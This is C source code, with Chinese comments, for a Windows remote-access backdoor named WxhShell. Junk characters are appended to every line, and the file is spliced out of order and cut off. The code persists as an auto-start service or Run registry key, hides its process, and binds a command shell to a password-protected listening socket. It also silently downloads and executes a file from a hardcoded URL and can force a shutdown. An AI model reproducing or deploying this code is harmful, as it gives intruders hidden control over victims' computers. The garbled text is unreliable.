    } ltP   
    break; DwTi_8m;  
    } \v.HG] /u  
  // 关机 _82<| NN:  
  case 'd': { D@2Ya/c  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ^CO#QnB @  
    if(Boot(SHUTDOWN)) kaV%0Of]  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); }t}38%1i  
    else { M2a}x+5'  
    closesocket(wsh); -Zttj/K  
    ExitThread(0); G|<]Ma9x  
    } |F3vRt@  
    break; EmYO5Whi  
    } _dz +2au  
  // 获取shell [p2g_bI8yK  
  case 's': { f*UBigk  
    CmdShell(wsh); S_`W@cp[  
    closesocket(wsh); 'o7R/`4KR  
    ExitThread(0); `9]P/J^  
    break; 'et(:}i  
  } q`h7H][(A  
  // 退出 ry z /rf  
  case 'x': { x0y% \  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); cvn-*Sj  
    CloseIt(wsh); =H L9Z  
    break; iM4mkCdOO  
    } 7^`RP e^a+  
  // 离开 nm<L&11  
  case 'q': { p, !1 3X  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); (Be$$W  
    closesocket(wsh); R %Rv  
    WSACleanup(); N=hSqw[  
    exit(1); 3`mC"a b /  
    break; 3AX?B~s  
        } N+ak[axN  
  } $z~jnc  
  } M|$H+e } :  
Y}85J:q]  
  // 提示信息 mxtlr)  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0);  ]v/t8`  
} r[Zg 2  
  } {\ A_%  
Iwnj'R7:  
  return; `#-p,NElV  
} -Pv P  
,^UcRZ8.H  
// shell模块句柄 bEBZ!ghU  
int CmdShell(SOCKET sock) h[vAU 9f)  
{ ke{DFq h  
STARTUPINFO si; k9. u[y.  
ZeroMemory(&si,sizeof(si)); 6nM rO$i0k  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; *g}vT8w'}  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; d@_'P`%-  
PROCESS_INFORMATION ProcessInfo; h#$ _<U  
char cmdline[]="cmd"; M80}3mgP~  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); _Y}^%eFw  
  return 0; y}3 `~a  
} yYVW"m  
}])G Q@  
// 自身启动模式 O~7p^i}  
int StartFromService(void) <FMuWHY  
{ "j *fVn  
typedef struct 0Og/47dO.2  
{ o{s4.LKK  
  DWORD ExitStatus; S(q4OQ B{  
  DWORD PebBaseAddress; e7)>U!9c9  
  DWORD AffinityMask; z:@d@\$?  
  DWORD BasePriority; 1q;I7_{ 2  
  ULONG UniqueProcessId; 853]CK<  
  ULONG InheritedFromUniqueProcessId; +_vm\]4  
}   PROCESS_BASIC_INFORMATION; pO-)x:Wg  
~:'gvR;x  
PROCNTQSIP NtQueryInformationProcess; J tn&o"C  
o(S^1j5  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; B8P@D"u  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; rd f85%%7  
?j},O=JFn  
  HANDLE             hProcess; {EiG23!qV  
  PROCESS_BASIC_INFORMATION pbi; }W Bm%f  
>d1aE)?  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ?dATMmT-  
  if(NULL == hInst ) return 0; D*<8e?F  
[U+<uZzOC  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); AZBY, :>D  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 2=/-d$  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); M[&.kH  
Rqv+N]  
  if (!NtQueryInformationProcess) return 0; j$JV(fz  
G5X|JTzpu<  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); g/J^K*3]  
  if(!hProcess) return 0; <3J=;.\6  
d- _93  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; kG~ivB}x  
"X!_37kQ  
  CloseHandle(hProcess); -&HoR!af  
"1pZzad  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); b W`)CWd  
if(hProcess==NULL) return 0; `rRg(fCN!M  
_YD<Q@  
HMODULE hMod; +eH=;8  
char procName[255]; (\AszLW  
unsigned long cbNeeded; iIC9rso"Q1  
U iPVZ@?  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ).@)t:uNa  
!*$'fn'bAA  
  CloseHandle(hProcess); |x}&wFV  
)gm\e?^   
if(strstr(procName,"services")) return 1; // 以服务启动 NEjB jLJZ  
'ra_Zg[j  
  return 0; // 注册表启动 OHXeqjhy  
} `04Y ;@w  
$4fjSSB~  
// 主模块 //@sktHsw(  
int StartWxhshell(LPSTR lpCmdLine) (kD?},Z  
{  _j?=&tc  
  SOCKET wsl; tL 9e~>,`  
BOOL val=TRUE; 55)ep  
  int port=0; p-ii($~ }  
  struct sockaddr_in door; 2oNPR+ -  
DrYoC7   
  if(wscfg.ws_autoins) Install(); ABS BtH ?  
374_G?t&  
port=atoi(lpCmdLine); ;Ef)7GE@\[  
/ux#U]x  
if(port<=0) port=wscfg.ws_port; A&@jA5Jb  
8Gzs  
  WSADATA data; =z7 Ay  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; n ;$}pg ~  
\H'CFAuF  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ~wQ WWRk  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); bB[*\  
  door.sin_family = AF_INET; vU=k8  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); +[go7A$5  
  door.sin_port = htons(port); j^R~ Lt4  
W(3~F2  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { e?'k[ES^  
closesocket(wsl); . LVOaxT  
return 1; X/C54%T ~  
} 1pBsr(  
3  %{'Uh,  
  if(listen(wsl,2) == INVALID_SOCKET) { %nK 15(  
closesocket(wsl); S7~l%G>]b  
return 1; 0yEyt7 ~@  
} )SZ,J-H08w  
  Wxhshell(wsl); 5=;I|l,  
  WSACleanup(); `J;/=tf09  
Zm'::+ tl  
return 0; !D]6Cq  
d3q/mg5a  
} 4pHPf<6  
k?*DBXJv  
// 以NT服务方式启动 =u1w\>(2Y  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ,)\5O0 D6  
{ 1x5CsmS  
DWORD   status = 0; x'PjP1  
  DWORD   specificError = 0xfffffff; 'jO-e^qT  
u\\niCNA  
  serviceStatus.dwServiceType     = SERVICE_WIN32; mJ#B<I'  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; j~<iTLM  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 4)S?Y"Bs  
  serviceStatus.dwWin32ExitCode     = 0; x>/@Z6Wxz  
  serviceStatus.dwServiceSpecificExitCode = 0; nJ`a1L{N  
  serviceStatus.dwCheckPoint       = 0; p!5JO4F$  
  serviceStatus.dwWaitHint       = 0; OKH~Y-%<  
InGbV+ I  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); lb XkZ,  
  if (hServiceStatusHandle==0) return; Z.#glmw^=R  
G"R>aw  
status = GetLastError(); rG'k<X~7  
  if (status!=NO_ERROR) 6xQe!d3>s3  
{ i /U{dzZ  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; t 1'or  
    serviceStatus.dwCheckPoint       = 0; AG!a=ufc0  
    serviceStatus.dwWaitHint       = 0; }qX&*DU_@  
    serviceStatus.dwWin32ExitCode     = status; AZ@Zo'  
    serviceStatus.dwServiceSpecificExitCode = specificError; Bwvc@(3v  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); [Z&s0f1Qb  
    return; |gxB; GG  
  } kj"_Y"q=  
vnOF$6n  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; rMFf8D(Y  
  serviceStatus.dwCheckPoint       = 0; (N>ew)Ke  
  serviceStatus.dwWaitHint       = 0; CX2q7azG  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); :JG}%  
} *j;r|P;g  
YuW\GSV00  
// 处理NT服务事件,比如:启动、停止 ])";Z  
VOID WINAPI NTServiceHandler(DWORD fdwControl) YQd&rkr  
{ bI0+J)  
switch(fdwControl) ~Am %%$  
{ 17i@GnbNb  
case SERVICE_CONTROL_STOP: .j@n6RyN  
  serviceStatus.dwWin32ExitCode = 0; "f$A0RL  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; OnPLz"-  
  serviceStatus.dwCheckPoint   = 0; 'F<e)D?  
  serviceStatus.dwWaitHint     = 0; @g5]w&o_  
  { ju 6_L<  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); m9i%U   
  } cB'4{R@e  
  return; F476"WF  
case SERVICE_CONTROL_PAUSE: by3kfY]4s  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; x \{jWR%  
  break; PH=8'GN  
case SERVICE_CONTROL_CONTINUE: #j5^/*XW  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 5?Ao9Q]@  
  break; s9dBXfm  
case SERVICE_CONTROL_INTERROGATE: !f2>6}hE  
  break; 5~6y.S  
}; ^]K)V  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Ss/="jC  
} mq} #{  
<p8y'KAlc  
// 标准应用程序主函数 mT$tAwzTC{  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) "N"k8,LH  
{ _Dt TG<E  
[vT,zM  
// 获取操作系统版本 N8Q{4c  
OsIsNt=GetOsVer(); =!Cvu.~},  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ZdzGJ[$  
4v JIO{m  
  // 从命令行安装 +Uk.|@b=-V  
  if(strpbrk(lpCmdLine,"iI")) Install(); U7'oI;C$e  
d'J?QH!N0  
  // 下载执行文件 N%i<DsK.u6  
if(wscfg.ws_downexe) { 9~ af\G  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) {u][q &n  
  WinExec(wscfg.ws_filenam,SW_HIDE); id9T[^h  
} +u.L6GcB  
f%l#g]]  
if(!OsIsNt) { : s3Vl  
// 如果时win9x,隐藏进程并且设置为注册表启动 9e6{(  
HideProc(); 0w&1wee(  
StartWxhshell(lpCmdLine); >U.uRq  
} 8#AXK{  
else PUo&>  
  if(StartFromService()) . 2Q/D?a  
  // 以服务方式启动 7K4%`O  
  StartServiceCtrlDispatcher(DispatchTable); hY'%SV p  
else h2snGN/{Hb  
  // 普通方式启动 t)+dW~g  
  StartWxhshell(lpCmdLine); &(7Io?  
zYJxoC{  
return 0; '^AXUb  
} o%7yhCY  
?2Dz1#%D  
Kj5f:{Ur  
*a@UV%u  
=========================================== )9,"~P2[R  
9_$Odc%]  
`Nr7N#g+u  
Qgi:q  
6U]7V  
6<6_W#  
" iDN,}:<V  
Grv|Wuli  
#include <stdio.h> m#p^'}]!;  
#include <string.h> D.f=!rT7E7  
#include <windows.h> |-<L :%  
#include <winsock2.h> 0^^i=iE-u  
#include <winsvc.h> YO61 pZY  
#include <urlmon.h> aT[7L9Cw  
Z2 4 m  
#pragma comment (lib, "Ws2_32.lib") ay.IKBXc  
#pragma comment (lib, "urlmon.lib") $r_gFv  
g#*N@83C  
#define MAX_USER   100 // 最大客户端连接数 aKO@_R,:  
#define BUF_SOCK   200 // sock buffer VVOt%d  
#define KEY_BUFF   255 // 输入 buffer W=:+f)D  
N<WFe5  
#define REBOOT     0   // 重启 tDVdl^#  
#define SHUTDOWN   1   // 关机 Uk4">]oct  
8&bj7w,K  
#define DEF_PORT   5000 // 监听端口  X'<xw  
;C%EF  
#define REG_LEN     16   // 注册表键长度 1C{n\_hR  
#define SVC_LEN     80   // NT服务名长度 +J9lD`z  
&kBs'P8>  
// 从dll定义API !8].Z"5J  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);  =%`"  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); zKr(Gt8  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); [x,&Gwa  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); K<(R Vh  
[OSUARm v  
// wxhshell配置信息 &$f?XdZ7  
struct WSCFG { 4YC`dpO'  
  int ws_port;         // 监听端口 ?0X.Ith^.  
  char ws_passstr[REG_LEN]; // 口令 9OBPFF  
  int ws_autoins;       // 安装标记, 1=yes 0=no &rubA  
  char ws_regname[REG_LEN]; // 注册表键名 &9>d  
  char ws_svcname[REG_LEN]; // 服务名 :z7!X.*  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 V"XN(Fd^  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ,8 seoX^  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 D?R  z|  
int ws_downexe;       // 下载执行标记, 1=yes 0=no cCIEG e6  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" mLO6`]p{H  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 )ej8vm  
`1gsrHi4N  
}; 4j5 "{  
WP9=@X Z  
// default Wxhshell configuration  V Euv  
struct WSCFG wscfg={DEF_PORT, -u{:39y{n  
    "xuhuanlingzhe", dmne+ufB  
    1, 2NM} u\%c/  
    "Wxhshell", ;a"Ukh  
    "Wxhshell", @,vSRns  
            "WxhShell Service",  T7`Jtqf  
    "Wrsky Windows CmdShell Service", v.MWO]L  
    "Please Input Your Password: ", 4m:E:zVn  
  1, vbp)/I-h  
  "http://www.wrsky.com/wxhshell.exe", )C[8#Q-:  
  "Wxhshell.exe" ]Az >W*Y  
    }; yI)2:Ca*  
v*pVcBY>  
// 消息定义模块 9viC3bj.o  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; "rtmDNpL  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 5h&8!!$[  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ;A_QI>>  
char *msg_ws_ext="\n\rExit."; z; +x`i.  
char *msg_ws_end="\n\rQuit."; smggr{-  
char *msg_ws_boot="\n\rReboot..."; &x3y.}1  
char *msg_ws_poff="\n\rShutdown..."; x8[8z^BV?e  
char *msg_ws_down="\n\rSave to "; pH%K4bV)8  
|NqQKot1  
char *msg_ws_err="\n\rErr!"; lz>hP  
char *msg_ws_ok="\n\rOK!"; "F&uk~ b$  
827N?pU$)  
char ExeFile[MAX_PATH]; |8"HTBb\CW  
int nUser = 0; 6 S8#[b  
HANDLE handles[MAX_USER]; z3,z&Ra  
int OsIsNt; %PpB$  
%/7`G-a.B  
SERVICE_STATUS       serviceStatus; B^ h!F8DC  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 7K~=QEc  
SFHa(JOS  
// 函数声明 [M.Vu  
int Install(void); > 01k u  
int Uninstall(void); I/adzLQ  
int DownloadFile(char *sURL, SOCKET wsh); J GdVSjNC  
int Boot(int flag); uAP|ASH9T  
void HideProc(void); Lqt]  
int GetOsVer(void); R!O'DM+  
int Wxhshell(SOCKET wsl); d;z`xy(C  
void TalkWithClient(void *cs); a)]N#gx  
int CmdShell(SOCKET sock); XX =A1#H  
int StartFromService(void); |<E%hf  
int StartWxhshell(LPSTR lpCmdLine); TUT>*  
E?V:dr  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 8r5j~Df  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); WE3l*7<@  
<H.Ml>q:r  
// 数据结构和表定义 Z1&8 U=pax  
SERVICE_TABLE_ENTRY DispatchTable[] = \6o ~ i  
{ d%<Uh(+:  
{wscfg.ws_svcname, NTServiceMain}, 8p5u1 ;2  
{NULL, NULL} <B)lV'!Bd  
}; QS[%`-dR2  
*N't ;  
// 自我安装 5%9& 7  
int Install(void) Ut<_D8Tzx  
{ 3KGDS9I  
  char svExeFile[MAX_PATH]; _\[Zr.y  
  HKEY key; 3Cpix,Dc  
  strcpy(svExeFile,ExeFile); /<@oUv  
?D#Vha  
// 如果是win9x系统,修改注册表设为自启动 ']V 2V)t  
if(!OsIsNt) {  h /on  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { fQ<V_loP.@  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); [bAv|;  
  RegCloseKey(key); m2_B(-  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { W6Hiqu+  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); (t <Um Vd  
  RegCloseKey(key); 8u>E(Vmpu  
  return 0; nD!^0?  
    } SkY|.w.   
  } %FwLFo^v  
} PffRV7qU0  
else {  @>BFhH  
T =:^k+  
// 如果是NT以上系统,安装为系统服务 E| No$QO)  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); I)6)~[:'  
if (schSCManager!=0) %f@]-  
{ C@K@TfK!M  
  SC_HANDLE schService = CreateService ,+2ytN*  
  ( >LjvMj ]  
  schSCManager, CEwG#fZ  
  wscfg.ws_svcname, zU(U^  
  wscfg.ws_svcdisp, IE3GM^7\  
  SERVICE_ALL_ACCESS, Od!j+.OY<  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ;yH/GN#O  
  SERVICE_AUTO_START, K]RkKMT,  
  SERVICE_ERROR_NORMAL, >J4_/p>Qs  
  svExeFile, *-2u0%  
  NULL, wsM5T B  
  NULL, Fd2zvi  
  NULL, *'Ch(c:rtH  
  NULL, (HY|0Bgr  
  NULL x;ujR<  
  ); mWtwp-  
  if (schService!=0) <.Pr+g  
  { 0%vXPlfnY  
  CloseServiceHandle(schService); $"sf%{~  
  CloseServiceHandle(schSCManager); BONM:(1  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 55Jk "V#8  
  strcat(svExeFile,wscfg.ws_svcname); Q|:\  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { mgS%YG  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); @n<WM@|l  
  RegCloseKey(key); B;^7Yu0,  
  return 0; (d_{+O"  
    } _,5(HETE2  
  } p 3X>  
  CloseServiceHandle(schSCManager); qV5ME #TJ  
} Rf7py)  
} ^}9Aq $R  
[~ fJ/  
return 1; vQztD _bX%  
} HZR~r:_ i  
NX$$4<A1  
// 自我卸载 \s [Uq  
int Uninstall(void) "Y4 tt0I  
{ *2@Ne[dYEF  
  HKEY key; 2uz<n}IV  
yt$V<8a  
if(!OsIsNt) { UA}k"uM  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { d!!5'/tmS  
  RegDeleteValue(key,wscfg.ws_regname);  u"tv6Qp  
  RegCloseKey(key); A2]N :=  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { "#(]{MY  
  RegDeleteValue(key,wscfg.ws_regname); IS"UBJ6p  
  RegCloseKey(key); 6Vi #O^>  
  return 0; iugTXZ(  
  } Z?X ^7<  
} <Cm:4)~  
} 6M F%$K3  
else { &`{%0r[UD#  
~,.Agx  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); (m})V0/`  
if (schSCManager!=0) s\_ ,aI  
{ Wk`G+VR+  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); tPc'# .  
  if (schService!=0) _<&IpT{w+  
  { 5{VrzzOK}  
  if(DeleteService(schService)!=0) { W.{#Pg1Da  
  CloseServiceHandle(schService); 9w(QM-u  
  CloseServiceHandle(schSCManager); ` Y"Rh[C  
  return 0; Q l ql(*  
  } 7'd_]e-.  
  CloseServiceHandle(schService); 'Q?nU^:F#  
  } D:M0_4S  
  CloseServiceHandle(schSCManager); yD(0:g#  
} 1P@&xcvS\  
} (WX,&`a<$  
P8piXG  
return 1; =k'3rm*ld  
} Xb5n;=)  
Q];+?Pu.  
// 从指定url下载文件 /EA4-#uw  
int DownloadFile(char *sURL, SOCKET wsh) 8tY],  
{ ;VNwx(1l`  
  HRESULT hr; +(QGlRd  
char seps[]= "/"; A7 E*w  
char *token; !zVuO*+  
char *file; 8S &`  
char myURL[MAX_PATH]; KzG8K 6wZ  
char myFILE[MAX_PATH]; fOF02WP^  
J+kxb"#d  
strcpy(myURL,sURL); !Yz~HO,u+  
  token=strtok(myURL,seps); 25o + ?Y<  
  while(token!=NULL) `[2nxP>w`  
  { -H#{[M8xX  
    file=token; 120<(#  
  token=strtok(NULL,seps); bo4 :|Z  
  } Q+[gGe JUF  
H*?U@>UU  
GetCurrentDirectory(MAX_PATH,myFILE); h)~KD%  
strcat(myFILE, "\\"); Ot`jjZ&  
strcat(myFILE, file); y9?BvPp+  
  send(wsh,myFILE,strlen(myFILE),0); { %vX/Ek  
send(wsh,"...",3,0); =;9Wh!{  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); SL? ! RQ  
  if(hr==S_OK) x~?,Wv|cm  
return 0; @{:E&K1f  
else y4tM0h  
return 1; O$V 6QJ  
!vHnMY~AG  
} ?54=TA|5`F  
U"v(9m@  
// 系统电源模块 pLE|#58I  
int Boot(int flag) TxoMCN?7c  
{ 5hUYxF20h8  
  HANDLE hToken; ?Lbw o<E  
  TOKEN_PRIVILEGES tkp; >JkQ U e  
vRpMZ)e  
  if(OsIsNt) { (wdE@/V  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 2l}FOdq  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Mc#uWmc 7  
    tkp.PrivilegeCount = 1; 3;zJ\a.+  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; [=z1~dXKb  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); >0k7#q}O  
if(flag==REBOOT) { 9x0B9&  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 5)+(McJC  
  return 0; o3P`y:&  
} s#/JMvQ#  
else { >eQ;\j  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) bHH{bv~Z  
  return 0; S7N3L."  
} %<6oKE  
  } p+ SFeUp  
  else { >"q0"zrN,  
if(flag==REBOOT) { 0}2Uj>!i  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) bo '  
  return 0; z9}rT<hy  
} d/!sHr69  
else { UK*+EEv  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Q:& ,8h[  
  return 0; ~Z!xS  
} <6Q]FH!6  
} |}b~ss^  
H0Qpc<Z4/  
return 1; R/R[r> 1)6  
} \[Op:^S  
i;;CU9`E2q  
// win9x进程隐藏模块 dE!{=u(!i  
void HideProc(void) B(w k $2  
{ W"?|OQ'  
#Z;ziM:  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); A8&yB;T$y  
  if ( hKernel != NULL ) -sm{Hpf_b  
  { $9Ho d-Z1  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); .\= GfF'  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 9:4PJ%R9  
    FreeLibrary(hKernel); =B4U~|k  
  } {(]B{n  
s Z(LT'}  
return; 2hdi)C,7Y  
} O Ul+es  
M,"4r^%k  
// 获取操作系统版本 9a9<I  
int GetOsVer(void) ?v PwI  
{ ;ZPAnd:pb  
  OSVERSIONINFO winfo; .%_scNP  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); KT~J@];Fb  
  GetVersionEx(&winfo); %Ez%pT0TQ#  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) A ^ $9[_  
  return 1; aF2 eGh  
  else #~*fZ|sq+3  
  return 0; ';us;xR#  
} I~y[8  
^Crl~~Gk`  
// 客户端句柄模块 ,uqSq  
int Wxhshell(SOCKET wsl) AX}l~ sv  
{ \!j{&cJ  
  SOCKET wsh; hPF9y@lh  
  struct sockaddr_in client; ugcWFB5|  
  DWORD myID; !yU!ta Q  
XKN`{h-@  
  while(nUser<MAX_USER) ke_Dd?  
{ 8.HqQ:?&2t  
  int nSize=sizeof(client); ^$f} s,09  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); fT [JU1  
  if(wsh==INVALID_SOCKET) return 1; 2c@4<kyfP  
2LGeRw  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); oRFHq>-.g  
if(handles[nUser]==0) |VbF&*v`  
  closesocket(wsh); rD<G_%hP  
else N(q%|h<Z/=  
  nUser++; Sq8` )$\  
  } EzqYHY+_r  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); zRN_` U  
0^nnR7  
  return 0; mG@xehH  
} K Art4+31  
D@*<p h=  
// 关闭 socket W4Rs9NA}  
void CloseIt(SOCKET wsh) ; S7 %  
{ Uq `B#JI  
closesocket(wsh); -'3~Y 2#  
nUser--; ;V`e%9 .  
ExitThread(0); Zm,<2BP>  
} 0][PL%3Z  
a<7Ui;^@  
// 客户端请求句柄 Zy _A3m{  
void TalkWithClient(void *cs) g0GC g  
{ {r Q6IV3=  
"f/lm 2<  
  SOCKET wsh=(SOCKET)cs; Ic/D!J{Y  
  char pwd[SVC_LEN]; d]6.$"\" p  
  char cmd[KEY_BUFF]; &l2oyQEF)  
char chr[1]; }md[hiJ  
int i,j; \E1[ /  
7y.$'<  
  while (nUser < MAX_USER) { ce!0Ws+  
wZ/Zc} .  
if(wscfg.ws_passstr) { zY_BnJ^  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); E7@0,9A U  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); W- 5Z"m1I  
  //ZeroMemory(pwd,KEY_BUFF); K n%[&  
      i=0; Bpt%\LK\~O  
  while(i<SVC_LEN) { Pd9qY 8CP  
{jO:9O @  
  // 设置超时 'MH WNPG0  
  fd_set FdRead;  "_t2R &A  
  struct timeval TimeOut; IoWh&(+KdH  
  FD_ZERO(&FdRead); `wz@l:e  
  FD_SET(wsh,&FdRead); kaf4GME]  
  TimeOut.tv_sec=8; xU+c?OLi  
  TimeOut.tv_usec=0; <|9s {z  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); swV/M i>  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); INqD(EG   
KR4X&d6  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); B|U*2|e  
  pwd=chr[0]; k"X<gA  
  if(chr[0]==0xd || chr[0]==0xa) { T {Q]  
  pwd=0; - `F#MN  
  break; Y1?w f.  
  } NF+^  
  i++; It>8XKS  
    } F33&A<(,  
={P  
  // 如果是非法用户,关闭 socket _tDSG]  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); a<-NB9o~v  
} " UaUaSg#  
~/s(.oji  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 6cH.s+  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); #AHX{<  
v&6I\1  
while(1) { s<,[xkMB  
mTXeIng?  
  ZeroMemory(cmd,KEY_BUFF); +Qy0K5Ee  
0Snl_@s  
      // 自动支持客户端 telnet标准   UkK`5p<D7  
  j=0; >__t 2  
  while(j<KEY_BUFF) { uj#bK 7  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 7`-fN|  
  cmd[j]=chr[0];  l%XuYYQ  
  if(chr[0]==0xa || chr[0]==0xd) { 5Y77g[AX2-  
  cmd[j]=0; VBV y3fnj  
  break; W&>ONo6ki  
  } r5y p jT^  
  j++; "`<tq#&C1  
    } OSACH0h  
nP`#z&C  
  // 下载文件 C3 >X1nU  
  if(strstr(cmd,"http://")) { ^y:!=nX^  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0);  1t7vP;  
  if(DownloadFile(cmd,wsh)) l]tda(  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); CqHCJ '  
  else k$]-fQM  
